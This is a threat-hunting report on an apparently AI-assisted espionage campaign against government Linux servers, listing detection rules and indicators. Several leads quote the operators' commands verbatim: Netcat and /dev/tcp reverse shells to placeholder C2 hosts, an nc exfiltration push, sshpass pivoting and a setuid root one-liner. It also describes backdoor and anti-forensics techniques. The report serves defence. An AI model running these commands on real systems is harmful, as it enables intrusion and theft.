AI-Written Malware Spent Six Months Inside Government Linux Servers

Someone spent six months inside government Linux servers with an AI model apparently writing much of the code. Palo Alto Networks’ Unit 42 says a cluster it tracks as CL-UNK-1211 hit government and state-affiliated infrastructure from October 2025 to April 2026, using PHP and shell scripts full of chatty, step-by-step comments that point to a large language model or an automated AI agent. The goal looked like intelligence gathering: database dumps, government mailboxes, and the social media accounts tied to them. Unit 42 hasn’t said whether a government or a criminal group is behind it.

104.194.158[.]65 (SysGoRAT C2, 443/ws)
45.88.188[.]140
198.23.185[.]234
138.68.244[.]146
185.21.136[.]6
72.61.89[.]179
109.224.53[.]140
162.243.175[.]162
154.93.37[.]228
141.164.58[.]87
88.80.150[.]232
88.119.167[.]57
173.212.247[.]23
104.248.131[.]53
147.182.224[.]216
93.93.112[.]57
192.210.183[.]17
magento[.]ink
solidmonpe[.]com
wibu-bau-bawang[.]online
beraskencur[.]site

Hunt Lead Report: CL-UNK-1211 AI-Assisted Espionage Against Government Linux Servers

AI-Powered Espionage Campaign Targets Government Linux Infrastructure
Palo Alto Networks Unit 42 (Roey Porat, Tom Fakterman)
Oct. 15, 2026
https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/

Executive Summary

Unit 42 tracks this activity cluster as CL-UNK-1211, a designation it uses for clusters it has not tied to either a nation-state or a criminal group; no other vendor alias has been published for it in the sources used here, and the custom Go remote access Trojan (RAT) at its center is Unit 42’s own name, SysGoRAT. The campaign went after government entities and state-affiliated infrastructure from October 2025 through April 2026, focused on Linux web servers, Plesk/qmail mail servers and MSSQL databases, and Unit 42 found conversational, step-by-step reasoning comments in several of the PHP and shell scripts that point to code written by a large language model or run by an automated AI agent. The intrusion chain ran end to end like this: web shells (custom and open-source) gave the operators a foothold and were made permanent by rewriting PHP’s auto_prepend_file setting in every PHP configuration on the host; a booby-trapped .bashrc sudo alias, a credential logger inserted into a PHP login page, and searches of configuration and history files harvested passwords; LinPEAS, PwnKit (CVE-2021-4034) and three hidden root helpers handled privilege escalation; SysGoRAT, three styles of in-memory reverse shell across at least seven C2 servers, GSocket disguised as a kernel thread, revsocks and pysoxy kept command and control alive; PHP scripts and a custom Go scanner for React2Shell (CVE-2025-55182) mapped the network; xp_cmdshell double hops through MSSQL and sshpass SSH pivots moved them laterally, with an injected authorized_keys key for good measure; and database dumps, wp-config.php credentials and government mailboxes were staged and pushed toward their own servers and public file-drop services. The objective was intelligence collection, including combing official mailboxes for password-reset and login emails from Facebook, Instagram, X (Twitter), TikTok and LinkedIn to take over the social media accounts tied to government addresses. The operators then tried to kill the endpoint agent, wiped authentication, history, mail, OS, web server and PHP session logs twice, backdated their long-lived files, and planted RedTeamOps2025 and a pentest123 account password so responders would mistake the intrusion for a sanctioned test. The impact is full control of the affected servers, exposure of database and mailbox contents, captured administrator passwords, and potential takeover of linked social media accounts. The Hunt Leads, false positive expectations, published rule content (Unit 42 published no Sigma or YARA rules for this campaign) and indicators are detailed below.

ATT&CK chain: Initial Access → Persistence → Execution → Credential Access → Privilege Escalation → Discovery → Lateral Movement → Collection → Command and Control → Exfiltration → Defense Evasion

Hunt Lead Grid

Hunt Lead Details

PHP auto_prepend_file Hijack

Once web shells gave them a foothold, the operators ran a PHP script (Unit 42’s Figure 3, still carrying its AI-style inline comments) that worked in three steps: write a backdoor, rewrite the auto_prepend_file value in every PHP configuration file under /etc/php/ and /opt/plesk/php/ (the default PHP and Plesk PHP configuration trees), then restart the PHP services. In the instance Unit 42 documents, the backdoor was a web shell at /usr/lib/php/plesk_sys_driver.php, named to pass for a Plesk component. Because PHP loads whatever auto_prepend_file points at before every other script runs, every page on the server becomes an entry point and deleting the visible web shells changes nothing. The behavioral anchor is the directive itself. Build a sweep that reads auto_prepend_file and auto_append_file from every php.ini and conf.d/*.ini under both trees (and from any per-pool php-fpm configuration) and flags any non-empty value, then resolve each path and flag it if no package owns the file (dpkg -S or rpm -qf return nothing) or if it sits under /usr/lib/php/. Add a file-integrity alert on any write to those configuration files that sets either directive, and treat a write followed within minutes by a php-fpm or web server restart as the strongest form of the signal. Sweep /usr/lib/php/ separately for .php files that no package owns.

Use file-integrity monitoring or auditd write watches on /etc/php/ and /opt/plesk/php/, EDR or osquery file events, and configuration-management drift reports, plus process telemetry for the service restart. Because the mechanism lives in configuration and survives the session, the current-state sweep matters more than log history: run it now on every Linux host that runs PHP, starting with Plesk-managed web and mail servers, and search change history back to at least October 2025 when the activity began. Legitimate prepends exist (some PHP application firewalls and monitoring agents use the directive), so allowlist by the exact prepended file path together with its package ownership or known-good hash, never by the mere presence of the directive or by a file name. The wrong control is to delete or hash-block plesk_sys_driver.php and move on: the operators had root, the directive can be pointed at any file, and the backdoor comes straight back, so remediation means resetting every affected directive, restarting PHP, and treating the host as compromised. Writing to these trees requires root, so any unexplained non-empty value pointing at an unpackaged file goes straight to incident response rather than tuning. The sweep is not specific to this actor and will surface any PHP configuration-level backdoor.

Hunt Lead Level: 1 (Junior)

ATT&CK: Persistence → T1505.003 (Server Software Component: Web Shell) (detection strategy: DET0394 Web Shell Detection via Server Behavior and File Execution Chains)

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

Sudo Password Trap in .bashrc

The operators replaced a user’s .bashrc with a copy that defines an alias for sudo. Every time the user runs sudo, the alias shows a prompt that mimics the normal system password prompt, captures what is typed, writes it to the attackers’ log file, and then passes the password to the real sudo so the command succeeds and the user notices nothing; Unit 42’s screenshot of the alias shows it uses Base64 encoding. The capture file was named Solarwinds.StatusLog.txt to blend in with SolarWinds tooling, and Unit 42 found no evidence that any SolarWinds system was involved. In the same credential-harvesting phase the operators also inserted a line into a PHP login page, most likely a database authentication routine, that forwards the administrator’s username and password to their log file whenever an admin logs in, and they grepped configuration files and command history for email, SMTP and database passwords. The detection logic is a content sweep: flag any alias sudo or sudo() function in /root/.bashrc, /home/*/.bashrc, .bash_profile, .profile, /etc/bash.bashrc and /etc/profile.d/*.sh whose body calls read, contains Base64, or redirects output to a file, and search every filesystem for Solarwinds.StatusLog.txt. Add a file-integrity alert on any write or replacement of a shell startup file that is not made by that user’s own interactive editor session.

Run the sweep with osquery, EDR file search or a simple fleet script, and back it with file-integrity monitoring on home directories and /etc/profile.d/. Look back to October 2025, but understand that the real exposure is every password typed into sudo on that host since the file changed, so the file’s modification time (which this actor is known to backdate, see the timestomp lead) is a weak guide and the safe assumption is that every account that used sudo there is burned. Scope it to all Linux servers, with priority on web, mail and database servers where the operators lived. Do not alert on the word “SolarWinds” or block that file name as the control; the name is a costume the operators chose and the next one will differ, so the anchor must be the alias behavior. The common alias sudo='sudo ' idiom is benign and is excluded by requiring a read, a decode or a file write in the alias body. Pair this with a sweep of PHP login and authentication files for recently added lines that write username or password values to a file. Any hit is a confirmed compromise: escalate to incident response, reset every credential that could have been typed on that host, and do not simply restore the old .bashrc.

Hunt Lead Level: 1 (Junior)

ATT&CK: Persistence → T1546.004 (Event Triggered Execution: Unix Shell Configuration Modification) (detection strategy: DET0020 Detect Shell Configuration Modification for Persistence via Event-Triggered Execution); Credential Access → T1056 (Input Capture) (detection strategy: DET0102 Behavioral Detection of Input Capture Across Platforms); Credential Access → T1552.001 (Unsecured Credentials: Credentials In Files) (detection strategy: DET0307 Detect Access to Unsecured Credential Files Across Platforms) and T1552.003 (Unsecured Credentials: Shell History) (detection strategy: DET0385 Detect Access and Parsing of .bash_history Files for Credential Harvesting) for the configuration and history password searches

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

Network Sweep for CL-UNK-1211 Infrastructure and File-Drop Uploads

Unit 42 published 17 IP addresses and four domains for this cluster (listed below, de-fanged); it identifies only one by role, 104.194.158[.]65:443, the SysGoRAT default C2, and says the operators’ reverse shells used at least seven distinct C2 servers, three of them for the named-pipe Netcat shell. Exfiltration followed a clear sequence. The operators first printed small samples to the terminal using TOP clauses, then wrote four tables capped at 100 rows each into a local SQLite file at /tmp/dump.sqlite, then dumped those four tables in full to local CSV files, compressed them with tar -czf /tmp/[DB_NAME]_dump.tar.gz -C /tmp [DB_NAME], and pushed the archive to a C2 server with nc [IP] [PORT] < /tmp/[DB_NAME]_dump.tar.gz. They also used curl without any dedicated C2 channel to upload data to transfer[.]sh, bashupload[.]com and filebin[.]net so the traffic looked like ordinary HTTPS, and one script searched the server for wp-config.php files, extracted the hard-coded database credentials, and uploaded the output through the catbox[.]moe API. The detection logic is a retrospective match of firewall, NetFlow, DNS, proxy and TLS SNI records against the published addresses and domains in either direction, plus any server-originated DNS lookup or connection to the four file-drop services, plus new .sqlite, .csv or *_dump.tar.gz files under /tmp/ created by a web or database service account.

Sweep from October 1, 2025 to the present, since that is the start of the observed activity and these servers may have been touched any time in that window. Use perimeter firewall and NetFlow data for the IPs (inbound hits matter too, because web shells are driven from outside), DNS resolver and proxy logs for the domains and file-drop services, and EDR or auditd file events for the /tmp/ staging. Scope the file-drop part to server subnets, where there is essentially no business reason to reach anonymous upload sites; on user networks the same services see legitimate use, so blocking them for everyone is the wrong control and will break real work, whereas blocking server egress to them is cheap. No live resolution or freshness checks were run on these indicators, and hosting IPs get reassigned, so weigh a hit inside the activity window far more heavily than a hit from last week, and do not treat blocking this list as remediation because the operators rotated C2 and SysGoRAT accepts a new address on the command line. Any server-side hit on a listed IP or domain, or a server uploading to a file-drop service, should go to incident response with the host’s process and file telemetry pulled for the same hour; pair it with the php-fpm shell lead to see what launched the connection. The file-drop and /tmp/ staging logic generalizes to most server-side data theft.

45.88.188[.]140
198.23.185[.]234
138.68.244[.]146
185.21.136[.]6
72.61.89[.]179
104.194.158[.]65   # SysGoRAT default C2, port 443, WebSocket path /ws
109.224.53[.]140
162.243.175[.]162
154.93.37[.]228
141.164.58[.]87
88.80.150[.]232
88.119.167[.]57
173.212.247[.]23
104.248.131[.]53
147.182.224[.]216
93.93.112[.]57
192.210.183[.]17
magento[.]ink
solidmonpe[.]com
wibu-bau-bawang[.]online
beraskencur[.]site
transfer[.]sh        # public file-drop service used for exfiltration
bashupload[.]com     # public file-drop service used for exfiltration
filebin[.]net        # public file-drop service used for exfiltration
catbox[.]moe         # public file host, API used to upload wp-config.php credentials

Hunt Lead Level: 1 (Junior)

ATT&CK: Exfiltration → T1567.002 (Exfiltration Over Web Service: Exfiltration to Cloud Storage) (detection strategy: DET0570 Detection Strategy for Exfiltration to Cloud Storage); Exfiltration → T1048.003 (Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol) for the raw nc push (detection strategy: DET0149 Detection of Exfiltration Over Unencrypted Non-C2 Protocol); Collection → T1560.001 (Archive Collected Data: Archive via Utility) for the tar staging (detection strategy: DET0298 Detect Archiving via Utility (T1560.001))

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

Interactive Shells Under php-fpm

Unit 42’s process trees show the web shells being driven interactively as children of php-fpm: viewing /etc/passwd, downloading a script from a file-hosting site, viewing /etc/shadow, running a renamed Python 3 interpreter, and launching reverse shells that run almost entirely in memory. Three reverse-shell patterns appear across at least seven C2 servers. The primary one, seen against three C2 servers, is a named pipe wired to Netcat: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc <C2> <port> >/tmp/f. The second redirects an interactive shell to a TCP socket: bash -i >& /dev/tcp/[IP]/[PORT] 0>&1. The third is a Python one-liner that opens an outbound socket, duplicates it onto standard input and output, and calls subprocess.call(['/bin/bash','-i']); Unit 42 shows Cortex XDR blocking that one with php-fpm as the parent. Unit 42 also lists heavy Base64-encoded commands, section headers inside commands, and abrupt switching between PHP, JavaScript, Bash and Python as traits of the AI-assisted tooling. The behavioral anchor is the parent process: build a rule for php-fpm, apache2, httpd, nginx or lsphp workers (or the web server account) spawning bash -i, sh -i, python* or any interpreter outside the standard path, nc or ncat, mkfifo, base64 -d, or any command line containing /dev/tcp/ or reading /etc/shadow.

Implement it on process-creation telemetry from EDR or auditd execve records that carry the parent image and full command line, and add a network companion that flags outbound connections from web worker processes to anything other than the application’s known back ends; Unit 42 itself recommends strict outbound firewall rules plus endpoint detection of standard utilities spawning interactive shells. Scope it to internet-facing web servers and hosting-panel servers first, look back to October 2025 for the retrospective pass, then run it continuously. Some PHP applications legitimately shell out to image converters, sendmail or backup scripts, so allowlist those by the exact child image path and an expected command-line pattern, never by process name; the operators renamed a Python interpreter specifically so that name-based allowlists would wave it through. Blocking Python or Netcat on servers is not a substitute, because the /dev/tcp/ pattern needs nothing but bash. An interactive shell, a /dev/tcp/ redirect or a /etc/shadow read under a web worker should be escalated to incident response immediately rather than tuned. This rule catches web-shell operation in general, not just this cluster.

Hunt Lead Level: 2 (Pro)

ATT&CK: Persistence → T1505.003 (Server Software Component: Web Shell) (detection strategy: DET0394 Web Shell Detection via Server Behavior and File Execution Chains); Execution → T1059.004 (Command and Scripting Interpreter: Unix Shell) (detection strategy: DET0384 Behavioral Detection of Unix Shell Execution); Credential Access → T1003.008 (OS Credential Dumping: /etc/passwd and /etc/shadow) (detection strategy: DET0446 Credential Access via /etc/passwd and /etc/shadow Parsing)

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

Hidden SUID Shells and Root-Wrapping Python

After landing on a Linux server the operators ran LinPEAS to look for local privilege escalation paths, then PwnKit, the self-contained open-source exploit for CVE-2021-4034 in polkit’s pkexec, to try for root. With root in hand they planted three helpers to keep it. The first is a legitimate Python 3 interpreter copied to /usr/lib/x86_64-linux-gnu/.libpython-helper and run as /usr/lib/x86_64-linux-gnu/.libpython-helper -c import os; os.setuid(0);os.setgid(0);os.system("<command>"). The second is a custom SUID root shell dropped as .libsystemd-helper that calls setuid(0) and setgid(0) and then runs arbitrary commands through /bin/sh. The third is a copy of /bin/bash written as .tourch and given the setuid bit with chmod u+s, so any user can run bash as root. The detection logic is an inventory diff plus two behavioral rules: list every SUID and SGID file on each host and flag any file no package owns, any dot-prefixed name, and anything under /usr/lib/, /tmp/, /dev/shm/, /var/tmp/ or a home directory; alert on chmod with u+s or 4xxx outside a package manager; and alert on interpreters or shells executing from a path or name that is not the standard one, especially with os.setuid(0) in the command line. For PwnKit, alert on pkexec launched with an empty argument list or a GCONV_PATH environment variable.

Build the inventory with osquery (suid_bin table), a scheduled find / -xdev -perm -4000 -o -perm -2000 sweep, or EDR file metadata, and diff it against package manifests rather than a name list; run the behavioral rules on EDR or auditd execve and chmod records. Sweep every Linux server now, since SUID backdoors survive reboots and session loss, and look back to October 2025 for the chmod and pkexec events. Do not hash-block .libpython-helper or .tourch: both are unmodified legitimate binaries (Python 3 and bash) under deceptive names, so their hashes match the real interpreters and blocking them would break Python and bash across the fleet; detect the path, the name, the permission bit and the parentage instead. The custom .libsystemd-helper shell and the PwnKit binary have hashes in the appendix that are safe to block, but blocking does not undo the root access already obtained. Confirm every host has the January 2022 polkit fix, since an unpatched pkexec is a standing root path for any web shell. Any unpackaged SUID file in a library or temporary path is a confirmed compromise and goes to incident response. The inventory diff catches SUID persistence from any actor.

Hunt Lead Level: 2 (Pro)

ATT&CK: Privilege Escalation → T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid) (detection strategy: DET0110 Setuid/Setgid Privilege Abuse Detection (Linux/macOS)); Privilege Escalation → T1068 (Exploitation for Privilege Escalation) for PwnKit (detection strategy: DET0514 Detection Strategy for Exploitation for Privilege Escalation); Defense Evasion → T1036.003 (Masquerading: Rename Legitimate Utilities) for the renamed Python and bash copies (detection strategy: DET0005 Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path)

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

GSocket Hiding as a Kernel Thread

The operators deployed Global Socket’s gs-netcat, which makes the internal host open an outbound connection to the public GSocket relay (gsocket[.]io) and so slips past NAT and inbound firewall rules. The binary sat in the hidden directory /dev/shm/.gs-10085/ and ran under the disguised process name [kcached], imitating a kernel cache thread, alongside a second binary named gs-dbus that imitates the D-Bus system service. Execution parameters were passed through the GSOCKET_ARGS environment variable to keep them off the command line, and the spawned shells set HISTFILE=/dev/null so nothing reached shell history. They also ran revsocks, an open-source reverse SOCKS5 tunnel with SSL/TLS support, and pysoxy, an open-source Python SOCKS proxy, to route traffic into the network. The behavioral anchor is a contradiction any host can check: a real kernel thread has no backing executable, so any process whose name is wrapped in square brackets but whose /proc/<pid>/exe resolves to a file is an impostor. Build that check, plus rules for any process executing from /dev/shm/, any hidden .gs-* directory, any process whose environment contains GSOCKET_ARGS, a binary named gs-dbus anywhere other than a package path, and DNS lookups of the GSocket relay from servers.

Run the bracket check and the /dev/shm/ check as scheduled osquery queries (the processes table exposes both the name and the on-disk path) or as EDR process rules; process environment is available from osquery’s process_envs table or from /proc/<pid>/environ. Pair the host checks with DNS resolver logs for the relay domain and with NetFlow for long-lived outbound sessions from servers that should not hold any. Sweep all Linux servers now and look back to October 2025 in DNS and NetFlow. A small number of administrators legitimately use GSocket or SOCKS proxies for remote support, so confirm with the system owner before closing a relay lookup, but no legitimate tool runs under a bracketed kernel-thread name from /dev/shm/, and that combination needs no tuning. The GSocket binary hash in the appendix also appears in OTX pulses for unrelated campaigns, which suggests it is a stock release build, so a hash hit proves GSocket is present but not who put it there; the wrong move is to treat the hash or the [kcached] name as the whole detection, because both change trivially, while the empty-exe contradiction does not. Any hit goes to incident response. The masquerade check catches any userland process posing as a kernel thread.

Hunt Lead Level: 2 (Pro)

ATT&CK: Defense Evasion → T1036.005 (Masquerading: Match Legitimate Resource Name or Location) (detection strategy: DET0347 Detection Strategy for Masquerading via Legitimate Resource Name or Location); Command and Control → T1572 (Protocol Tunneling) (detection strategy: DET0538 Detection Strategy for Protocol Tunneling accross OS platforms.); Command and Control → T1090 (Proxy) for revsocks and pysoxy (detection strategy: DET0445 Detection of Proxy Infrastructure Setup and Traffic Bridging); Defense Evasion → T1690 (Prevent Command History Logging) for HISTFILE=/dev/null (detection strategy: DET0563 Detection Strategy for Defense Impairment via Prevent Command History Logging across OS platforms.)

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

sshpass Pivoting and authorized_keys Backdoor

To move beyond the first web servers the operators used sshpass with hard-coded administrative credentials, in the form sshpass -p [PASSWORD] ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 [USERNAME]@[IP_ADDRESS] [COMMAND] 2>&1, which disables host-key checking and gives up on unreachable hosts after five seconds, a pattern built for sweeping many internal targets quickly. After each successful login they ran id to check their privileges, read /etc/shadow for password hashes, used find to locate wp-config.php files holding database passwords, listed home directories and .git repositories, and ran their own PHP scripts over the SSH session; Unit 42’s process tree shows sshd-parented commands pulling credentials out of history files, WordPress configuration files and SMTP or email account settings. For persistence they ensured the hidden .ssh directory existed, restricted it with chmod 700, appended their public key to authorized_keys, and set strict permissions on that file. The detection logic is a process rule for sshpass executions and for ssh command lines containing StrictHostKeyChecking=no on servers, weighted heavily when the parent chain leads back to a web worker or a renamed interpreter, plus a file rule for any write to an authorized_keys file that does not come from your configuration management agent.

Use EDR or auditd execve records for the sshpass and ssh command lines, sshd authentication logs on the destination side (password logins to administrative accounts sourced from a web server are the cross-check), and file-integrity monitoring on /root/.ssh/ and /home/*/.ssh/. Sweep all authorized_keys files now against your approved key inventory, because an injected key outlives any password rotation, and look back to October 2025 in process and authentication logs. Legacy automation still uses sshpass, so allowlist those jobs by the exact script path, source host and destination list rather than by the sshpass name; a web server is almost never a legitimate sshpass source. The wrong response is to rotate the stolen administrative password and stop there, since the injected key keeps the door open, and the reverse mistake is to remove keys without rotating the hard-coded credentials and the database passwords exposed from wp-config.php. Any sshpass run traced to a web worker, or any unapproved key, goes to incident response with every destination host it touched pulled into scope. Both rules catch SSH-based lateral movement and key persistence from any actor.

Hunt Lead Level: 2 (Pro)

ATT&CK: Lateral Movement → T1021.004 (Remote Services: SSH) (detection strategy: DET0596 Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution); Persistence → T1098.004 (Account Manipulation: SSH Authorized Keys) (detection strategy: DET0126 Detection Strategy for SSH Key Injection in Authorized Keys); Credential Access → T1003.008 (OS Credential Dumping: /etc/passwd and /etc/shadow) (detection strategy: DET0446 Credential Access via /etc/passwd and /etc/shadow Parsing)

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

qmail Mailbox Sweep for Social Media Emails

On official government mail servers the operators enumerated the /var/qmail/mailnames/ directories for several domains and counted the messages in specific users’ Maildir/cur/ directories to pick targets. They then deployed a PHP script named search_social.php that iterates through the mail directories, reads the first 4 KB of each message file to get its headers, and matches them against keywords for Facebook, Instagram, Twitter, TikTok and LinkedIn, printing the file path, sender, recipient and subject of each hit; Unit 42’s example output is a Facebook password-reset email. Next they tried to generate a bash script named zip_mails.sh to walk users’ directories and compress whole mailboxes into ZIP archives for exfiltration (the version Unit 42 recovered had a broken variable assignment, user=\;, and would have failed, but the intent was clear). Because these reads happen directly on the filesystem rather than through IMAP or POP, the anchor is file access: build a rule for reads of files under /var/qmail/mailnames/*/*/Maildir/ by the web server account or by PHP, Python or shell processes, for any file named search_social.php or zip_mails.sh, and for zip or tar processes whose arguments include a Maildir path.

Implement it with auditd read watches (-w /var/qmail/mailnames -p r scoped by UID) or EDR file-open events on Plesk and qmail mail servers, plus a file sweep for the two script names across web roots and /tmp/, and look back to October 2025. Mail delivery agents, IMAP and POP daemons, backup jobs and spam or antivirus scanners read every message, so allowlist them by their package-owned image path and service account, not by process name, and expect the remaining volume to be tiny. The wrong control is to rely on mail server or webmail access logs: they record protocol logins, not a PHP script reading message files off disk, so the theft leaves nothing there. A confirmed hit means mailbox contents should be treated as exposed; escalate to incident response and have the owners of any social media accounts that use those mailboxes for recovery reset passwords and turn on multi-factor authentication, because stolen reset links and login notices are exactly what the script was built to find. The logic applies to any Maildir-based mail host, not just qmail under Plesk.

Hunt Lead Level: 2 (Pro)

ATT&CK: Collection → T1114.001 (Email Collection: Local Email Collection) (detection strategy: DET0047 Detect Local Email Collection via Outlook Data File Access and Command Line Tooling, which is Windows-oriented; the Linux equivalent is the Maildir file-access logic above); Collection → T1560.001 (Archive Collected Data: Archive via Utility) (detection strategy: DET0298 Detect Archiving via Utility (T1560.001))

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

Security Agent Kill Attempts

The operators ran bash scripts that used pgrep to find and pkill to terminate the endpoint agent’s processes; Unit 42’s screenshot shows the script checking for and killing processes matching traps, pmd and cortex, the Cortex XDR agent’s process names. Unit 42 says the agent detected and blocked the attempts and that telemetry confirmed protection was not suppressed. The attempt still matters to every defender, because the same few lines work against any agent whose process names the operator knows, and a successful kill is followed by everything else in this report happening unseen. The detection logic is a process rule for pgrep, pkill, killall, kill or systemctl stop|disable whose arguments name your endpoint, logging or audit agents’ processes or services, launched by anything other than an administrator’s interactive session or the vendor’s own upgrade tooling, with the highest severity when the parent chain runs back to a web worker or a script interpreter.

Implement it on EDR or auditd execve records with full command lines, using the actual process and service names of the agents you run (EDR, auditd, log forwarders), and back it with the agent’s own tamper-protection alerts. The wrong control is to rely on the agent to report its own death: if a kill succeeds the alert may never leave the host, so pair this rule with a management-console or SIEM check for agents and log forwarders that go silent while the host is still up and serving traffic, which is a cross-source check worth building separately. Look back to October 2025 and scope it to all servers. Allowlist only vendor upgrade and maintenance processes by signed or package-owned image path. Any attempt from a web worker, a renamed interpreter or an unexpected account is a confirmed hostile action and goes to incident response, along with every other lead in this report for that host. This rule generalizes to any intrusion that tries to blind the endpoint.

Hunt Lead Level: 2 (Pro)

ATT&CK: Defense Evasion → T1685 (Disable or Modify Tools) (detection strategy: DET0497 Detection of Defense Impairment through Disabled or Modified Tools across OS Platforms.)

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

Mass Log Wipe, History Clear and Timestomp

Cleanup ran in a fixed order after the exfiltration attempts. First the operators tried to delete logs covering authentication, command history, email activity, the operating system, the web server and active PHP user sessions, with Unit 42’s process tree showing the commands coming from php-fpm through renamed Python 3 interpreters. Then they ran a cleanup script (its inline comments intact) that finds and truncates log files in system and per-domain vhost directories, clears session, temporary and connection logs, wipes history, deletes logs a second time and empties /tmp/, where they kept their scripts. Finally a “verify” script grepped the system logs for the IP addresses they had used to confirm the evidence was gone. Throughout the campaign, single-use scripts were written, executed and removed with rm in one command, while long-lived scripts were backdated with touch -t so their timestamps predated the intrusion. They also planted the key RedTeamOps2025 in one malicious script and gave an account they created the password pentest123, so investigators might conclude the activity was a sanctioned red-team test. Unit 42 notes that Cortex XDR’s “Uncommon attempt to clear shell history” analytic fired on this activity; it published no rule text. Build rules for truncation or deletion of files under /var/log/, the hosting panel’s vhost log directories and PHP session directories by any process other than the log rotation service, for writes that zero .bash_history or for HISTFILE set to /dev/null, for touch -t or touch -d against files outside package-managed paths, for grep runs over log files with IP-address patterns by a web or service account, and for the write, execute, rm one-liner pattern under a web worker.

The only logs that survive this actor are the ones already shipped off the host, so implement these rules on EDR or auditd file and process events and check centrally forwarded syslog, web and authentication logs for sudden gaps or truncation; a forwarded log that goes quiet while the server keeps serving traffic is itself a signal. Look back to October 2025 and scope to all Linux servers, with priority on web, mail and database hosts. logrotate and hosting-panel rotation truncate the same files on a schedule, so allowlist them by their package-owned image path and their cron or systemd timer parent, never by the truncate or rm command name. Do not trust local timestamps on any file from an affected host, and do not trust the strings RedTeamOps2025 or pentest123 as evidence of authorization; confirm any claimed test with whoever actually commissions testing, and treat both strings as indicators in their own right. Any non-rotation log wipe on a server goes straight to incident response, and the host’s forwarded logs and EDR history become the investigation record. The rules generalize to anti-forensics by any actor.

Hunt Lead Level: 2 (Pro)

ATT&CK: Defense Evasion → T1685.006 (Disable or Modify Tools: Clear Linux or Mac System Logs) (detection strategy: DET0520 Behavioral Detection of Log File Clearing on Linux and macOS); Defense Evasion → T1070.003 (Indicator Removal: Clear Command History) (detection strategy: DET0165 Behavioral Detection of Command History Clearing); Defense Evasion → T1070.004 (Indicator Removal: File Deletion) for the write-run-remove scripts (detection strategy: DET0140 Behavioral Detection of Malicious File Deletion); Defense Evasion → T1070.006 (Indicator Removal: Timestomp), mapping per source article (detection strategy: DET0591 Cross-Platform Behavioral Detection of File Timestomping via Metadata Tampering)

Sources: “AI-Powered Espionage Campaign Targets Government Linux Infrastructure,” Palo Alto Networks Unit 42, Oct. 15, 2026, https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ (source article)

SysGoRAT sys-update Service and WebSocket C2

SysGoRAT is a custom Go RAT that runs on Linux and Windows. It was first seen as sys-control-client and later renamed on disk to pip2.7, ea_install and ./semanage to blend in. It connects to its C2 over a WebSocket at the path /ws, defaulting to the hard-coded 104.194.158[.]65:443 unless the operator passes another address on the command line. It supports seven command types: command (runs commands through /bin/sh -c on Linux or cmd /C on Windows), control, list_dir, shell_input (interactive shell), and proxy_connect, proxy_data and proxy_close (a TCP relay to arbitrary internal targets). The control type dispatches shell_start (spawns /bin/bash), screenshot, download (reads a file, optionally gzips it, and sends it to the C2) and persist. Persistence has six methods: on Linux, systemd copies the binary to /usr/local/bin/, writes /etc/systemd/system/sys-update.service, then reloads and enables it, and cron adds a crontab entry that runs every five minutes; on Windows, registry copies the binary to %APPDATA%\Onedrive Update\Updater.exe and adds an HKCU Run key, and schtasks creates a daily scheduled task named Onedrive; complex and auto pick a method by operating system (and, for auto, by user permissions). The detection is a correlation across file, process and network data: a sys-update.service unit or any unit whose ExecStart points at an unpackaged binary in /usr/local/bin/; a crontab line with a five-minute schedule pointing at an unpackaged binary; a process named sys-control-client, pip2.7, ea_install or semanage whose image is a Go binary no package owns; and that same process holding a long-lived outbound TLS session to port 443 on a raw IP with an HTTP Upgrade: websocket request for /ws.

Join EDR process events (image path, package ownership, hash) with EDR or host network events that attribute connections to processes, and with proxy or TLS-inspection logs where available, since the WebSocket upgrade to a bare IP is visible there. Inventory systemd units, crontabs and, on Windows, Run keys and scheduled tasks across the fleet, and look back to October 2025 because SysGoRAT’s whole purpose is long-term access. Scope Linux checks to all servers and Windows checks to any host reachable from the compromised Linux estate. Name matching alone is noisy, because semanage and pip2.7 are real programs, so key on package ownership and the Go binary signature rather than on names, and do not allowlist anything by name. Blocking 104.194.158[.]65 is necessary but not sufficient, since the C2 address is a command-line parameter and the operators rotated infrastructure. The SysGoRAT binary itself was not hashed in Unit 42’s published indicators, so hash blocking is not an option here. Any confirmed SysGoRAT unit, cron entry or process goes to incident response, and the proxy_* commands mean the host may have relayed traffic deeper into the network, so pull NetFlow for its internal connections too. The unpackaged-binary-in-a-service-unit check generalizes to most Linux implants.

Hunt Lead Level: 3 (Elite)

